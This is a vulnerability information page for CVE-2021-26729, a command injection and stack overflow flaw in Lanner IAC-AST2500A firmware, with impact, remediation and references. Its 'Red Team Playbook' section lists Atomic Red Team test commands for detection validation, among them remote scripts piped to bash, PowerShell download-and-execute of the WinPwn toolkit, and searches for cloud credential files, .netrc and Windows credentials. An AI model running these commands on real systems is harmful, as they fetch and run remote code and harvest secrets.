CVE-2021-26729
Overview
The vulnerability involves command injection and multiple stack-based buffer overflows rooted in improper input validation and unsafe memory operations within the Login_handler_func function of the spx_restservice component. Specifically, crafted input passed to this function triggers execution of arbitrary commands and corrupts stack memory due to unchecked buffer boundaries. This flaw is present in Lanner Inc IAC-AST2500A standard firmware version 1.10.0.
Vulnerability Description
Command injection and multiple stack-based buffer overflows vulnerabilities in the Login_handler_func function of spx_restservice allow an attacker to execute arbitrary code with the same privileges as the server user (root). This issue affects: Lanner Inc IAC-AST2500A standard firmware version 1.10.0.
Impact
An unauthenticated remote attacker can exploit these vulnerabilities over the network to execute arbitrary code with root privileges on the affected device, enabling full system compromise. No user interaction or prior authentication is required, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). This can lead to complete device takeover, data breaches, and disruption of operational technology or IoT environments relying on the affected firmware.
Solution
Remediation involves upgrading the Lanner Inc IAC-AST2500A firmware to a version later than 1.10.0 where the vulnerabilities in spx_restservice's Login_handler_func have been addressed. Detailed patch instructions and firmware updates are provided in the advisory at https://www.nozominetworks.com/labs/vulnerability-advisories/cve-2021-26729/. Users should apply the vendor-released firmware update promptly to mitigate these issues.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Login_handler_func function of the spx_restservice is characterized by command injection and multiple stack-based buffer overflows. This critical flaw allows an attacker to execute arbitrary code with the same privileges as the server user, which in this case is root. The underlying issue arises from improper input validation and insufficient bounds checking within the function, enabling attackers to manipulate input data in such a way that they can overwrite the memory stack. This exploitation can lead to the execution of malicious code, potentially compromising the entire system.
Attack vectors for this vulnerability are varied and can be executed remotely, making it particularly dangerous. An attacker could craft a malicious request that includes specially formatted input, which, when processed by the vulnerable function, leads to the execution of arbitrary commands. For instance, an attacker might send a payload that exploits the buffer overflow to inject shellcode, allowing them to gain control over the device. Given that the affected product is a firmware version of the IAC-AST2500A, which is often deployed in critical infrastructure and industrial environments, the implications of such an attack could be severe. Attackers could leverage this access to disrupt operations, exfiltrate sensitive data, or pivot to other systems within the network.
The real-world impact of this vulnerability is significant, especially for organizations relying on the affected firmware for their operations. The potential for unauthorized access to systems running with root privileges poses a substantial business risk, as it could lead to data breaches, operational downtime, and reputational damage. Furthermore, the high CVSS score of 9.8 indicates that this vulnerability is not only critical but also likely to be targeted by threat actors. Organizations may face regulatory scrutiny and financial penalties if they fail to address such vulnerabilities, especially if they lead to data loss or service disruptions.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular vulnerability assessments and penetration testing can help identify and remediate such weaknesses before they can be exploited. Additionally, employing intrusion detection systems (IDS) can aid in monitoring for unusual activity that may indicate an attempted exploitation. It is also crucial to apply patches and updates provided by the vendor, as they often contain fixes for known vulnerabilities. In the case of the IAC-AST2500A firmware, upgrading to a version that addresses these vulnerabilities is essential. Furthermore, implementing strict input validation and employing secure coding practices can help prevent similar vulnerabilities from being introduced in the future.
In conclusion, the command injection and buffer overflow vulnerabilities in the spx_restservice of the IAC-AST2500A firmware represent a critical threat to organizations utilizing this technology. The ability for an attacker to execute arbitrary code with root privileges poses significant risks, including unauthorized access and potential system compromise. Organizations must prioritize detection and mitigation strategies to safeguard their systems, ensuring that they remain resilient against such vulnerabilities. By adopting a proactive security posture, businesses can better protect themselves from the evolving landscape of cyber threats.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Lannerinc | Iac-Ast2500a Firmware | 1.10.0 |
cpe:2.3:o:lannerinc:iac-ast2500a_firmware:1.10.0:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-26729 |
| nozominetworks.com |
GitHub CVE
|
https://www.nozominetworks.com/blog/vulnerabilities-in-bmc-firmware-affect-ot-iot-device-security-part-1/ |
| nozominetworks.com |
GitHub CVE
|
https://www.nozominetworks.com/labs/vulnerability-advisories/cve-2021-26729/ |